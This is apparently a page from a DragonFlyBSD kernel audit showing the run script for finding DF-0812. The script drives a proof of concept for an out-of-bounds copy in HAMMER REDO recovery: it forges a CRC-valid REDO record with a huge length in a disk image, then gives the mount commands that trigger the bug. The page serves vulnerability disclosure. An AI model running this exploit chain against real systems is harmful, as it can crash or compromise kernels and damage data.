DragonFlyBSD Kernel Audit
DF-0812 / run.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-0812 run script.
# Phase 1: deterministic harness (proves the OOB copy extent).
# Phase 2: attempts a real HAMMER image with a CRC-valid forged REDO record.
#          This requires a HAMMER image with pending REDO records (unclean
#          shutdown after writes+fsync).  If no REDO records are found,
#          Phase 2 reports that and the harness stands as the primary proof.
#
# Usage:  ./run.sh            # harness + (optional) image search
#         ./run.sh <img.img>  # harness + attempt to patch+mount <img.img>
set -e
cd "$(dirname "$0")"

echo "============================================"
echo "Phase 1: Deterministic harness"
echo "============================================"
./harness
echo ""

IMG="${1:-}"
if [ -z "$IMG" ]; then
    echo "============================================"
    echo "Phase 2: No image argument; harness is the primary proof."
    echo "To attempt real-image reproduction, create a HAMMER image"
    echo "with pending REDO records (crash after write+fsync) and run:"
    echo "  ./run.sh <image.img>"
    echo "============================================"
    exit 0
fi

echo "============================================"
echo "Phase 2: Real-image REDO forging on $IMG"
echo "============================================"
./craft_img "$IMG" 2147483647
echo ""
echo "[*] craft_img exit code: $?"
echo "If REDO records were found and patched, mount RW to trigger recovery:"
echo "  vnconfig -c vn0 $IMG ; mount -t hammer /dev/vn0 /mnt"